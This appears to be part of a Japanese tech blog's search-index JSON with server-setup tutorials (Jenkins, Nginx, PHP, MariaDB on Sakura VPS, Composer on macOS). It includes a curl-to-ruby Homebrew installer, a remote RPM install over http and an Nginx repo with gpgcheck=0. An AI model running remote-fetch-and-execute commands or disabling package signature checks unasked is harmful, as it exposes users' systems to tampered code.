Jenkinsの起動と自動起動の設定 Jenkinsの起動\nsudo systemctl start jenkins Jenkinsの自動起動の設定\nsudo systemctl enable jenkins 自動設定が有効になっているか確認。enabledになっていればOK。\nsudo systemctl is-enabled jenkins enabled 8080ポートを開ける Jenkinsはデフォルトでは8080ポートが使用されるので、ファイアウォールの設定で8080ポートを開けておく\nsudo firewall-cmd --add-port=8080/tcp --zone=public --permanent firewalldを再リロード\nsudo firewall-cmd --reload 以下で設定の確認\nsudo firewall-cmd --list-all ports: 8080/tcpの設定が確認できればOK。\n以上でブラウザを起動し、契約IPの8080ポートへアクセスすれば、Jenkinsのスタートページが表示することができる。\nhttp://{契約しているIPアドレス}:8080/ しかし、これらの設定をしてもタイムアウトでアクセスできない場合がある。\nさくらのVPSの場合、パケットフィルタの設定で8080ポートへアクセスが拒否されており、Jenkinsスタートページへアクセスできない場合がある。\nそのため、さくらのVPSの管理画面でパケットフィルタの設定を行う。\nさくらのVPSのパケットフィルタの設定 さくらのVPSの管理画面でパケットフィルタのタブをクリック\n次に「パケットフィルタの設定へ」をクリックして、設定画面へ。\n「任意の開放ポート設定を追加する」をクリックして8080ポートの接続を許可する。\nブラウザでスタートページを確認する ブラウザを起動後、契約IPの8080ポートへアクセスし、Jenkinsのスタートページが確認できればOK。\nhttp://{契約しているIPアドレス}:8080/ ","permalink":"https://pop-web.github.io/server/jenkins/jenkins-install/","summary":"\u003cp\u003eさくらのVPSでJenkinsのインストール手順を説明\u003c/p\u003e\n\u003cp\u003e前提として、Nginxがインストール済みであること。\u003c/p\u003e\n\u003cp\u003eNginxのインストールついては、以前の記事で書いた。\u003c/p\u003e","title":"さくらVPSのNginxサーバー環境へJenkinsをインストールする方法"},{"content":"さくらVPSでCentOS7+Nginx+PHP7+MariaDBの構築手順を説明する。\nNginxのインストールと設定については、以前の記事を参照。\n・【さくらVPS】Nginxのインストール手順\n・【さくらVPS】Nginxバーチャルホストの設定\nPHP5系の削除 もしデフォルトでPHP5系の古いバージョンのPHPがインストールされている場合は、削除する。\n以下のコマンドですでにPHPがインストールされていないか確認する。\nsudo yum list installed | grep php 何も表示されなければ、PHPはインストールされていない。\nもし、PHPがインストールされていれば、以下のコマンドで削除する。\nsudo yum remove php* remiレポジトリの追加 最新のPHPモジュールを取得するために、Redhat enterprise linux 7用のremiレポジトリをインストールする。\nsudo yum -y install http://rpms.famillecollet.com/enterprise/remi-release-7.rpm 最後に、『完了しました！』が表示されればOK。\n追加されたレポジトリファイルは「/etc/yum.repos.d/」に置かれるので、PHP関連のファイルがあるか確認しておく。\nls /etc/yum.repos.d/ CentOS-Base.repo epel.repo remi-php70.repo CentOS-CR.repo nginx.repo remi-php71.repo CentOS-Debuginfo.repo remi-glpi91.repo remi-php72.repo CentOS-Media.repo remi-glpi92.repo remi-php73.repo CentOS-Sources.repo remi-glpi93.repo remi-php74.repo CentOS-Vault.repo remi-glpi94.repo remi-safe.repo CentOS-fasttrack.repo remi-modular.repo remi.repo epel-testing.repo remi-php54.repo PHP74パッケージのインストール 以下のコマンドでPHP7.4と必要なパッケージらをインストールする。\nsudo yum -y install --enablerepo=remi,remi-php74 php php-mbstring php-xml php-xmlrpc php-gd php-pdo php-pecl-mcrypt php-mysqlnd php-pecl-mysql PHPがインストールされたか、バージョンの確認 以下のphpコマンドで、PHPバージョンを確認する。\nphp -v PHP 7.4.1 (cli) (built: Dec 17 2019 16:35:58) ( NTS ) Copyright (c) The PHP Group Zend Engine v3.4.0, Copyright (c) Zend Technologies 上記のようになれば、PHP7.4がインストールされたこととなる。\nphp.iniの基本設定 「/etc/php.ini」ファイルを編集して基本設定を行う。\nsudo vi /etc/php.ini HTTPヘッダーのバージョン非表示 セキュリティ的にバージョンは非公開の方がいいので非表示にしておく。\nexpose_php = On ↓ expose_php = Off アップロードサイズの変更 デフォルト設定ではアップロードできるファイルサイズが小さいので変更しておく。\npost_max_size = 8M ↓ post_max_size = 20M upload_max_filesize = 2M ↓ upload_max_filesize = 20M タイムゾーンの設定 タイムゾーンは、”Asia/Tokyo”に設定しておく。アプリケーションで時間を扱う場合これを設定しておかないと挙動がおかしくなってしまいます。\n;date.timezone = ↓ date.timezone = \u0026#34;Asia/Tokyo\u0026#34; マルチバイト対応 日本語を利用する場合、マルチバイト対応の設定が必要になる。\nmbstringの言語デフォルト値を定義するmbstring.languageを設定。\n;mbstring.language = Japanese ↓ mbstring.language = Japanese 内部文字エンコーディングの設定をUTF-8へ設定する。\n;mbstring.internal_encoding = ↓ mbstring.internal_encoding = UTF-8 HTTP通信時のinput文字コードもUTF-8に指定。\n;mbstring.http_input = ↓ mbstring.http_input = UTF-8 HTTP 出力文字コードを指定するmbstring.http_outputは、自動変換を不可にするのでpassを指定する。\n;mbstring.http_output = ↓ mbstring.http_output = pass HTTP入力変換を有効化する。\n;mbstring.encoding_translation = Off ↓ mbstring.encoding_translation = On 文字コードの自動検出の優先順位の設定するmbstring.detect_orderを編集する。autoにしておくとUTF-8がデフォルトで選択されるためautoにしておく。\n;mbstring.detect_order = auto ↓ mbstring.detect_order = auto 変換不可の文字列がある場合、代わりの文字を表示させないようにmbstring.substitute_characterを有効にする。\n;mbstring.substitute_character = none ↓ mbstring.substitute_character = none これで、php.iniファイルの設定は以上。\nphp-fpmのインストール php-fpm(FastCGI Process Manager)は、phpスクリプトをCGIで動かすためのパッケージ。\nちなみに、phpはモジュール版とCGI版があり、Apacheではモジュール版が使用される。Webサーバーのプロセス内でPHPを実行するやり方。\n一方、CGI版は、Webサーバとは別プロセセスで実行させるやり方。Nginxではモジュール版がないので、CGI版を使っていくこととなる。\nphp-fpmパッケージは、remiレポジトリにあるため以下のコマンでインスールできる。\nsudo yum -y install --enablerepo=remi,remi-php74 php-fpm 最後に、「完了しました！」が表示されればOK。\nインストールされたかの確認は、以下のコマンドを入力。\nsudo yum list installed | grep php-fpm php-fpm.x86_64 7.4.1-1.el7.remi @remi-php74 上記のような表示になればOK。\nphp-fpm設定ファイルの変更 php-fpm設定ファイルを変更していく。\nまずはバックアップをとる。\nsudo cp -p /etc/php-fpm.d/www.conf /etc/php-fpm.d/www.conf.org www.confファイルの編集 以下のコマンドでwww.confを編集していく。\nsudo vi /etc/php-fpm.d/www.conf まずは、nginxのシステムユーザをwwwに変更する。\n; RPM: apache user chosen to provide access to the same directories as httpd user = apache ; RPM: Keep a group allowed to write in log dir. group = apache ↓ ; RPM: apache user chosen to provide access to the same directories as httpd user = www ; RPM: Keep a group allowed to write in log dir. group = www 編集が終わったら保存しておく。\nphp-fpmの起動 php-fpmを起動する。\nsudo systemctl start php-fpm 起動されているかの確認。\nsudo systemctl status php-fpm 「Active: active (running)」になっていればOK。\nphp-fpm自動起動設定 サーバ再起動時にも、php-fpmが自動的に起動するように設定する。\nsudo systemctl enable php-fpm 自動起動が設定されていることを確認。\nsudo systemctl is-enabled php-fpm enabled 上記のように「enabled」と表示されればOK。\nNginxの設定変更 次は、nginxでphp-fpmへスクリプトのファイルが動作するにようにNginx側の設定を変更する。\ndefault.confを編集する。\nsudo vi /etc/nginx/conf.d/default.conf locationディレクティブへ、index.phpを追加する。\nlocation / { index index.html index.htm; } ↓ location / { index index.php index.html index.htm; } また、locationディレクティブの下へ、以下のPHP用の設定内容を追記する。\nlocation ~ \\.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } 設定ファイルを保存して、以下のコマンドを入力して設定ファイルに間違いがないかチェックする。\nsudo nginx -t nginx: the configuration file /etc/nginx/nginx.conf syntax is ok nginx: configuration file /etc/nginx/nginx.conf test is successful 上記のように「syntax is ok」と「test is successful」を表示がでればOK。\nNginxの再起動 Nginxの設定を変更したのでこれを反映させるため、Nginxを再起動する。\nsudo systemctl restart nginx テスト用のPHPファイルを作成 PHPが実行されているか、バーチャルホストのドキュメントルートへphpファイルを配置する。\nsudo vi /home/www/yusuke.com/index.php フィアルの内容は以下。\n\u0026lt;?php phpinfo(); ?\u0026gt; ブラウザで動作確認 ブラウザを起動して、yusuke.comを表示する。\n**※**この動作確認では、DNS設定の必要で、ドメイン名（blog.pop-web.net）からIPが引けるようにしておく。ドメインをお名前ドットコム等のサービスで取得している場合は、ネームサーバ設定変更で、さくらのVPSのネームサーバを指定しておけば良い。\n以下のようにphpinfoの表示がされればOK。\nMariaDBバージョン5系の削除 MariaDBをインストールしていく。\nバージョンは10系をいれていくので、すでにデフォルトでMariaDBがインストールされていないか確認。\nsudo yum list maria* インストール済みパッケージ mariadb-libs.x86_64 1:5.5.64-1.el7 上記のような表示が出た場合、MariaDBの5.5がインストールされていることとなる。\n10系をインストールするので、このMariaDB5.5は削除する。\nsudo yum remove mariadb-libs 以下のコマンドで削除されたかの確認。\nsudo yum list installed | grep mariadb-libs なにも表示されなければ削除されたことが確認できる。\nMariaDBレポジトリの作成 現状のレポジトリを確認する。\nls -a /etc/yum.repos.d/ . epel-testing.repo remi-php70.repo .. epel.repo remi-php71.repo CentOS-Base.repo nginx.repo remi-php72.repo CentOS-CR.repo remi-glpi91.repo remi-php73.repo CentOS-Debuginfo.repo remi-glpi92.repo remi-php74.repo CentOS-Media.repo remi-glpi93.repo remi-safe.repo CentOS-Sources.repo remi-glpi94.repo remi.repo CentOS-Vault.repo remi-modular.repo CentOS-fasttrack.repo remi-php54.repo ここへ、MariaDBレポジトリを追加する。\nレポジトリファイルの内容は、MariaDB公式サイトの作成画面を参考にする。\nまず、MariaDB公式サイトのDownloads画面へいく。\n環境に合わせて、以下のように選択していく。\n「CentOS」→「CentOS 7 (x86_64)」→「10.4 [Stable]」\n選択が終わると、自動でレポジトリファイルの内容が生成されるので、これをコピーしておく。\n![スクリーンショット 2020-01-04 15.51.05](/Users/koga/Dropbox/md/投稿済み/img/スクリーンショット 2020-01-04 15.51.05.png)\n次に、コピー先であるレポジトリファイルを作成する。\nsudo vi /etc/yum.repos.d/mariadb.repo 先ほど、コピーした内容を貼り付ける。\n※また、レポジトリを有効化するため最終行に「enable=1」を追記する。\n# MariaDB 10.4 CentOS repository list - created 2020-01-04 06:50 UTC # http://downloads.mariadb.org/mariadb/repositories/ [mariadb] name = MariaDB baseurl = http://yum.mariadb.org/10.4/centos7-amd64 gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDB gpgcheck=1 enable=1 これでファイルを保存すれば、レポジトリの追加完了。\nyumコマンドでMariaDBをインストールする。\nsudo yum -y install MariaDB-devel MariaDB-client MariaDB-server 最後に、「完了しました！」が表示されればOK。\nインストールされたか、以下のコマンドで確認。\nsudo yum list installed | grep MariaDB MariaDB-client.x86_64 10.4.11-1.el7.centos @mariadb MariaDB-common.x86_64 10.4.11-1.el7.centos @mariadb MariaDB-compat.x86_64 10.4.11-1.el7.centos @mariadb MariaDB-devel.x86_64 10.4.11-1.el7.centos @mariadb MariaDB-server.x86_64 10.4.11-1.el7.centos @mariadb 上記のように、バージョン10.4が確認できればOK。\nMariaDBの起動 MariaDBを以下のコマンドで起動する。\nsudo systemctl start mariadb 起動したら、以下のコマンで正常起動しているか確認。\nsudo systemctl status mariadb Active: active (running)と表示されればOK。\nMariaDBの自動起動設定 サーバーの再起動時もMariaDBが起動するように設定する\nsudo systemctl enable mariadb 自動起動が設定されていることを確認。\nsudo systemctl is-enabled mariadb enabled enabledが表示されればOK。\nmysql_secure_installationの設定 MariaDBのセキュリティ設定をmysql_secure_installationで行う。\nこのmysql_secure_installationは何をしてくれるかというと、DB管理者のパスワード設定やサンプルDBの削除などしてくれる\nMariaDBをインストール時には実行した方が良い。\n以下のコマンドを実行。\nsudo mysql_secure_installation 実行するとまず、『Enter current password for root (enter for none):』となるが、これはrootのパスワードが設定されている場合、そのパスワードを入力する。\n今回はまだ設定していないので、enterキーを押下して進める。\n現パスワードを確認する場合には以下のコマンドで確認できる\ncat /var/log/mysqld.log | grep \u0026#39;temporary password\u0026#39; その後も[Y/n]で設定を聞かれるので、yを入力してEnterを押下。\n「New password:」と出たら、新しいパスワードを入力する。\nその後も、また[Y/n]で設定を聞かれるので、yを入力してEnterを押下。\n最後に、『Thanks for using MariaDB！』と表示されれば設定は終了。\nMariaDBの基本設定 文字コードをUTF-8として設定するため、設定ファイルのserver.cnfを編集する。\nまずは、バックアップとる。\nsudo cp -p /etc/my.cnf.d/server.cnf /etc/my.cnf.d/server.cnf.org server.cnfを開いて編集する。\nsudo vi /etc/my.cnf.d/server.cnf [server]ディレクティブに「character-set-server=utf8」を追記する。\n[server] ↓ [server] character-set-server=utf8 設定を反映させるためMariaDBを再起動。\nsudo systemctl restart mariadb MariaDBへの接続確認 MariaDBへ接続して確認をする。\n以下の、コマンドで接続する。\nsudo mysql -uroot -p[パスワード] 接続完了すると、以下のようなプロンプトが表示される。\nMariaDB [(none)]\u0026gt; 作成されているデータベースを確認するため、以下のSQL文を入力\nMariaDB [(none)]\u0026gt; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | +--------------------+ 3 rows in set (0.002 sec) テスト用のDBを作成 以下のSQL文で、テスト用のDBを作成する。\nMariaDB [(none)]\u0026gt; create database test; Query OK, 1 row affected (0.001 sec) 作成したDBへ接続。\nMariaDB [(none)]\u0026gt; use test; Database changed 作成したテスト用のDBの文字コードを確認し、UTF-8になっていることを以下のSQL文で確認する。\nMariaDB [test]\u0026gt; show variables like \u0026#34;chara%\u0026#34;; +--------------------------+----------------------------+ | Variable_name | Value | +--------------------------+----------------------------+ | character_set_client | utf8 | | character_set_connection | utf8 | | character_set_database | utf8 | | character_set_filesystem | binary | | character_set_results | utf8 | | character_set_server | utf8 | | character_set_system | utf8 | | character_sets_dir | /usr/share/mysql/charsets/ | +--------------------------+----------------------------+ 8 rows in set (0.001 sec) UTF-8になっていることが確認できたので、テスト用で作成したDBは削除しておく。\nMariaDB [test]\u0026gt; drop database test; Query OK, 0 rows affected (0.003 sec) 削除したDBがなくなったことを以下のSQL文で確認する。\nMariaDB [(none)]\u0026gt; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | +--------------------+ 3 rows in set (0.000 sec) MariaDB接続を終わる場合は、以下のコマンドで終了する。\nMariaDB [(none)]\u0026gt; quit Bye 最後に 以上で、CentOS7 + Nginx + PHP7 + MariaDB10の環境が構築が完了。\nこれでようやく、PHPによるアプリケーションの実装を始めることができるようになった。\n","permalink":"https://pop-web.github.io/server/linux/nginx-php-mariadb/","summary":"\u003cp\u003eさくらVPSでCentOS7+Nginx+PHP7+MariaDBの構築手順を説明する。\u003c/p\u003e\n\u003cp\u003eNginxのインストールと設定については、以前の記事を参照。\u003c/p\u003e","title":"【さくらVPS】CentOS7+Nginx+PHP7+MariaDBの環境構築"},{"content":"前回の【さくらVPS】Nginxのインストール手順からの続きで\nバーチャルホスト設定を行なっていく。\nNginxを動作させるシステムユーザーを作成 Nginxを動作させるシステムユーザを新たに作成する。\nデフォルトではNiginxユーザとなっているがセキュリティ上、新たにシステムユーザを作成することとする。\nwwwというユーザー名で作成する。\nシェルとして「/sbin/nologin」を指定しログイン権限を制限。\nsudo useradd -s /sbin/nologin www パスワードを設定\nsudo passwd www コンテンツディレクトリ作成 バーチャルホストを設定していくので、URLに応じた各コンテンツを格納するドキュメントルートとなるディレクトリを作成する。\n「/home/www/」の下にドキュメントルートを作成し、ファイル名はドメイン名とする。\n今回は「blog.pop-web.net」というディレクトリ名で作成する。\nsudo mkdir /home/www/blog.pop-web.net 作成したドキュメントルートの中に、テスト用のHTMLファイルを作成しておく。\nsudo vi /home/www/blog.pop-web.net/index.html test 作成したディレクトリは、所有者がrootユーザになっているので、\n「www」ユーザへパーミッションの変更をする。\nsudo chown -R www:www /home/www nginx.confファイルの変更 Nginxの全般的な設定ファイルは、「nginx.conf」で行う。ちなみに、サイト毎の設定などは、「default.conf」で行う。\n「nginx.conf」のバックアップをしておく。\nsudo cp -p /etc/nginx/nginx.conf /etc/nginx/nginx.conf.org 「nginx.conf」を編集していく。\nsudo vi /etc/nginx/nginx.conf システムユーザーを変更 システムユーザをwwwへ変更。\nuser nginx; ↓ user www; バージョンの非表示 バージョンを非表示するため「server_tokesn off;」を追加\nhttp { include /etc/nginx/mime.types; ↓ http { server_tokens off; include /etc/nginx/mime.types; gzip圧縮の有効 表示速度が早くするため、サイズを圧縮する機能であるgzipを有効化する。\n#gzip on; ↓ gzip on; 長いホスト名の対応 長いバーチャルホスト名の場合、エラーになる場合があるのでサイズを大きめに設置する。\ngzip on;の下へ追記。\nserver_names_hash_bucket_size 128; 上記の設定が終わったら上書き保存。\n確認用コマンドで「nginx.conf」に間違いがないかチェック。\nsudo nginx -t nginx: the configuration file /etc/nginx/nginx.conf syntax is ok nginx: configuration file /etc/nginx/nginx.conf test is successful 上記のように、「syntax is ok」「test is successful」と表示されればOK。\ndefault.confファイルの変更 default.confファイルにバーチャルホスト設定を編集していく。\n以下のコマンドでdefault.confファイルを開く。\nsudo vi /etc/nginx/conf.d/default.conf 最終行に以下の内容を追記する。\nserver { listen 80; server_name blog.pop-web.net www.blog.pop-web.net; access_log /var/log/nginx/blog.pop-web.net-access.log main; error_log /var/log/nginx/blog.pop-web.net-error.log; root /home/www/blog.pop-web.net; location / { index index.html index.htm; } } 各設定項目の説明は以下のよう。\n項目 説明 listen バーチャルホストが待ち受けるポートの指定 server_name バーチャルホスト名の設定。www有りとwww無しの両方でアクセスできるようにしておく。 access_log アクセスログの出力先の指定 error_log エラーログの出力先の指定 root ドキュメントルートの指定 location URIのパス単位の設定 追記したら、確認用コマンドで「default.conf」に間違いがないかチェック。\nsudo nginx -t nginx: the configuration file /etc/nginx/nginx.conf syntax is ok nginx: configuration file /etc/nginx/nginx.conf test is successful 上記のようにsuccessfulがでればOK。\nNginx再起動 設定内容を反映させるため、Nginxを再起動する。\nsudo systemctl restart nginx ブラウザで確認 ブラウザで「blog.pop-web.net」を入力して表示確認する。\n作成したテスト用のHTMLファイルの内容が表示されればOK。\n※この動作確認では、DNS設定の必要で、ドメイン名（blog.pop-web.net）からIPが引けるようにしておく。ドメインをお名前ドットコム等のサービスで取得している場合は、ネームサーバ設定変更で、さくらのVPSのネームサーバを指定しておけば良い。\n","permalink":"https://pop-web.github.io/server/linux/nginx-virtualhost/","summary":"\u003cp\u003e前回の\u003ca href=\"https://blog.pop-web.net/programming/nginx-install/\"\u003e【さくらVPS】Nginxのインストール手順\u003c/a\u003eからの続きで\u003c/p\u003e\n\u003cp\u003eバーチャルホスト設定を行なっていく。\u003c/p\u003e\n\u003ch2 id=\"nginxを動作させるシステムユーザーを作成\"\u003eNginxを動作させるシステムユーザーを作成\u003c/h2\u003e\n\u003cp\u003eNginxを動作させるシステムユーザを新たに作成する。\u003c/p\u003e\n\u003cp\u003eデフォルトではNiginxユーザとなっているがセキュリティ上、新たにシステムユーザを作成することとする。\u003c/p\u003e","title":"【さくらVPS】Nginxバーチャルホストの設定"},{"content":"さくらVPSでWebサーバーであるNginxをインストールする手順を紹介する。\nOSのバージョンはCentOS7。\n以前の記事で書いた【さくらVPS】LAMP環境構築手順のSSHのセキュリティ設定まで終わっている前提で進める。\n一般ユーザでログインしておく（鍵認証） ssh -p 45454 -i ~/.ssh/id_rsa user@xxx.xxx.xxx.xxx 80番ポートと443番ポートをあける ファイアウォールが起動していなければ、起動しておく。\nsudo systemctl start firewalld http接続に使う80番ポートと、https接続で使う443番ポートがファイアウォールで閉じられいるので、開ける設定をします。\nsudo firewall-cmd --add-service=http --zone=public --permanent sudo firewall-cmd --add-service=https --zone=public --permanent firewalldを再起動します。\nsudo systemctl restart firewalld 設定の確認をします。\nsudo firewall-cmd --list-all public (active) target: default icmp-block-inversion: no interfaces: eth0 sources: services: dhcpv6-client http https ssh-45454 ports: protocols: masquerade: no forward-ports: source-ports: icmp-blocks: rich rules: services:にhttpとhttps追加されていることを確認。\nNginxインストール Nginx公式サイトを参考にインストール。\n[nginx-stable]版と[nginx-mainline]版があるが、[nginx-mainline]が推奨されているのでこちらをインストールする。\nNginxをインストールするにはNginxのレポジトリファイルを追加する必要がある。レポジトリファイル群は「etc/yum.repos.d/」にある。\nまずは、現状のレポジトリを確認\nls /etc/yum.repos.d/ CentOS-Base.repo CentOS-Media.repo CentOS-fasttrack.repo CentOS-CR.repo CentOS-Sources.repo epel-testing.repo CentOS-Debuginfo.repo CentOS-Vault.repo epel.repo ここにNginxのレポジトリを追加する。\nレポジトリファイルの追加 Nginx用のレポジトリファイルの「nginx.repo」を以下のコマンドで作成・編集していく。\nsudo vi /etc/yum.repos.d/nginx.repo ファイルの内容は、Nginx公式のレポジトリ作成ページを参考に作成する。\n「baseurl」箇所を環境に合わせて変更してファイルを作成する。\n今回はCentOS7なので、以下ようになる。\n[nginx] name=nginx repo baseurl=http://nginx.org/packages/mainline/centos/7/$basearch/ gpgcheck=0 enabled=1 上記を「nginx.repo」へコピペ して保存\nNginxパッケージのインストール Nginxパッケージをインストールする。\nsudo yum -y install nginx インストールが始まり、最後に「完了しました!」が出ればOK。\nNginxの起動 以下のコマンドでNginxを起動\nsudo systemctl start nginx 起動しているかステータスを確認\nsudo systemctl status nginx 「Active: active (running)」の表記があれば正常の起動していることが確認できる。\n自動起動の設定 サーバー再起動時にも、Nginxも起動するように自動起動を設定する。\nsudo systemctl enable nginx 自動起動の設定がなされているかは、以下のコマンドで確認できる。\n「enabled」とでれば自動起動設定がされている。\nsudo systemctl is-enabled nginx enabled Nginxのデフォルトページをブラウザで確認 WebブラウザでNginxのデフォルトページを確認します。\nさくらのVPSで契約しているIPアドレスをWebブラウザへ直接入力して表示確認。\n『Welcome to nginx!』のページが表示されればOK。\n次は、Nginxでのバーチャルホストの設定をやっていきます。\n","permalink":"https://pop-web.github.io/server/linux/nginx-install/","summary":"\u003cp\u003eさくらVPSでWebサーバーであるNginxをインストールする手順を紹介する。\u003c/p\u003e\n\u003cp\u003eOSのバージョンはCentOS7。\u003c/p\u003e\n\u003cp\u003e以前の記事で書いた\u003ca href=\"https://blog.pop-web.net/programming/vps-lamp/\"\u003e【さくらVPS】LAMP環境構築手順\u003c/a\u003eの\u003ca href=\"https://blog.pop-web.net/programming/vps-lamp/#SSH-2\"\u003eSSHのセキュリティ設定\u003c/a\u003eまで終わっている前提で進める。\u003c/p\u003e\n\u003ch2 id=\"一般ユーザでログインしておく鍵認証\"\u003e一般ユーザでログインしておく（鍵認証）\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003essh -p 45454 -i ~/.ssh/id_rsa user@xxx.xxx.xxx.xxx\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"80番ポートと443番ポートをあける\"\u003e80番ポートと443番ポートをあける\u003c/h2\u003e\n\u003cp\u003eファイアウォールが起動していなければ、起動しておく。\u003c/p\u003e","title":"【さくらVPS】Nginxのインストール手順"},{"content":"Jenkinsビルド実行時も、モックAPIライブラリのjson-severを起動し続けようと思い、\u0026amp;を最後につけたり、nohupコマンドを使ったりしたが、Jenkinsのジョブが終了するとプロセスがどうしても終了してしまう。\nが、BUILD_ID=dontKillMeを前につけるとうまくいった。\n以下の感じ。\nBUILD_ID=dontKillMe nohup json-server db.json -p 3001 -H 192.168.33.10 \u0026lt; /dev/null \u0026amp; BUILD＿IDの変数の値をなにかしらで上書きしないと、ProcessTreeKillerという仕組みで、ジョブの中で起動したプロセスは、ジョブの終了とともに殺されてしまいます。\n","permalink":"https://pop-web.github.io/server/jenkins/jenkins-shell-background/","summary":"\u003cp\u003eJenkinsビルド実行時も、モックAPIライブラリのjson-severを起動し続けようと思い、\u0026amp;を最後につけたり、nohupコマンドを使ったりしたが、Jenkinsのジョブが終了するとプロセスがどうしても終了してしまう。\u003c/p\u003e","title":"Jenkinsでシェルをバックグラウンドで実行し続ける方法"},{"content":"npm installでパッケージをインストールしたが、再インストールして入れなおすには以下のようにする。\nnpm cache clean rm -rf node_modules/ npm install ","permalink":"https://pop-web.github.io/programming/javascript/npm-install-cache-clean/","summary":"\u003cp\u003enpm installでパッケージをインストールしたが、再インストールして入れなおすには以下のようにする。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003enpm cache clean\nrm -rf node_modules/\nnpm install\n\u003c/code\u003e\u003c/pre\u003e","title":"npm installしたがキャッシュとパッケージ（node_modules）を削除して再インストールする方法"},{"content":"MacOSにComposerをインストールする手順を説明する。\nOpenSSLがないと、composerコマンドでライブラリダウンロードをするとエラーを起こすので手動でOpenSSLをインストールする。\nOpenSSLをインストールするには、Homebrewが必要なのでインストールする。\nHomebrewのインストール OpenSSLをインストールするために、Homebrewが必要。\n以下コマンドで、Homebrewをインストール\n/usr/bin/ruby -e \u0026#34;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)\u0026#34; OpenSSLをインストール brew install openssl Composerをインストール Download Composerにあるコマンドをそのまま実行する。\nアップデートでコマンドの内容が変わることがあるので、直接公式ページに行きコマンドをコピペして実行する。\nphp -r \u0026#34;copy(\u0026#39;https://getcomposer.org/installer\u0026#39;, \u0026#39;composer-setup.php\u0026#39;);\u0026#34; php -r \u0026#34;if (hash_file(\u0026#39;sha384\u0026#39;, \u0026#39;composer-setup.php\u0026#39;) === \u0026#39;a5c698ffe4b8e849a443b120cd5ba38043260d5c4023dbf93e1558871f1f07f58274fc6f4c93bcfd858c6bd0775cd8d1\u0026#39;) { echo \u0026#39;Installer verified\u0026#39;; } else { echo \u0026#39;Installer corrupt\u0026#39;; unlink(\u0026#39;composer-setup.php\u0026#39;); } echo PHP_EOL;\u0026#34; php composer-setup.php php -r \u0026#34;unlink(\u0026#39;composer-setup.php\u0026#39;);\u0026#34; パスを通す sudo mv composer.phar /usr/local/bin/composer バージョンを確認 composer --version バージョンが確認できたらOK！\n","permalink":"https://pop-web.github.io/programming/laravel/mac-composer/","summary":"\u003cp\u003eMacOSにComposerをインストールする手順を説明する。\u003c/p\u003e\n\u003cp\u003eOpenSSLがないと、composerコマンドでライブラリダウンロードをするとエラーを起こすので手動でOpenSSLをインストールする。\u003c/p\u003e","title":"MacにComposerをインストール手順"},{"content":"データベースには「正規化」するという作業がある。\n正規化には第1正規化〜第5正規化までが存在しますが、リレーショナルデータベースを扱うなら、第1正規化〜第3正規化までできればよい。\n正規化の手順 まず、正規化から説明する\n非正規形 第1世紀形 候補キーの選定 第2世紀形 第3世紀形 今回は例として、都内で展開しているカフェ店を想定し、エクセル管理されているダミーデータを用意。\n非正規形 非正規形とは、エクセルなどで見た目分かりやすくされた状態のこと。\n例では、エクセルでセルが縦結合されて、行の中に複数行が存在している状態。\nこれの状態のことを「繰り返し項目が存在する」という。この状態を非正規形と呼ぶ。\n第1正規形 第1正規形では、「繰り返し項目の排除」と「導出項目の排除」を行う。\n例でいうと、新宿店の繰り返し項目が排除されて、すべてのレコード数が3つから4つになる。\nまた、導出項目の排除も行う。\n導出項目は、他の項目の計算などによって導き出される項目のことで、例でいうと売り上げ金額になる。\n候補キーの選定 候補キーとは、テーブルの中で1つのレコードを特定できるカラムのこと、またはその組み合わせ。\nつまり、MySQLでいう主キーやユニークキーにあたる。\n候補キーにならないものは、非キー属性と呼ぶ。\n今回の例でいうと、候補キーは「店舗ID」と「商品名」になる。\n大量なデータがあったとしても、この２つを抽出条件にすると、1つのレコードを特定できる。\n第2正規形 第2正規形では、候補キーに対して、部分関数従属性のあるカラムを分離することを行う。\n「部分関数従属性」とは、候補キーの特定のカラムAが決まれば、他のカラムBがきまる関係性のこと。\n例では、「店舗ID」から決まるものは、「店舗」と「店長」。「商品名」から決まるものは「価格」\n分離する時には、ついでに商品IDも付与する。\nよって、以下のように「売上」「店舗」「商品」で分離できる。\n売上テーブル 店舗テーブル 商品テーブル 第3正規形 第3正規形では、候補キーではない非キー属性に対して、推移的関数従属性のあるカラムを分離する。\n「推移的関数従属性」とは、非属性キーカラムAが決まれば、非属性キーカラムBが決まる関係性のこと。\n例えば、店舗テーブルで店長の年齢のカラムがあるとする。\n店舗テーブルで、候補キーは「店舗」で、非属性キーは、「店長」と「店長年齢」。\n「店長年齢」は、「店長」が決まれば分かる。\nよって、以下のようにテーブルを分離できる。\n店舗テーブル 店長テーブル まとめ とりあえず、第1正規化〜第3正規化の説明は以上。\n","permalink":"https://pop-web.github.io/programming/db/db-normalization/","summary":"\u003cp\u003eデータベースには「正規化」するという作業がある。\u003c/p\u003e\n\u003cp\u003e正規化には第1正規化〜第5正規化までが存在しますが、リレーショナルデータベースを扱うなら、第1正規化〜第3正規化までできればよい。\u003c/p\u003e","title":"【初心者向け】データベースの正規化について"},{"content":"MySQLのデータ型には、まぁたくさんある。\nなので、MySQLでよく使われるデータ型を一覧でまとめる。\n数値型 INT 数値型で整数を扱う場合によく使う。\n格納範囲は、-2147483648 〜 2147483647となる。\nUNSIGNEDの説明 オプションでUNSIGNEDをつけると、正の数だけを扱うように設定ができ、負の数の分だけ格納範囲が広がる。格納範囲は、0 〜 4294967295になる。\nUNSIGNED ZEROFILLの説明 オプションでUNSIGNED ZEROFILLをつけると、表示桁数に満たない場合、値を0で埋めるようにしてくれる。\n例えば、int(6)と設定すると整数6桁で表示させるように指定ができる。\nそして、これにUNSIGNED ZEROFILLを付加したカラムに**「12」と登録すると、表示桁数にあわせて「000012」と登録しなおされる。**\nBOOLEAN型 BOOLEAN true（真）か、false（偽）を入れたい時に使う。\n文字列型 VARCHAR 文字を扱う型でよく使う。\nCHARとの違い VARCHAEと類似してCHARというものがある。\n違いは、VARCHARは可変長文字、CHARは固定長文字列でそれぞれ格納される。\n例えば、VARCHAR(5)へ「ABC」という文字列を格納した場合、「ABC」と格納されるが、CHAR(5)へ「ABC」という文字列を格納した場合は「ABC 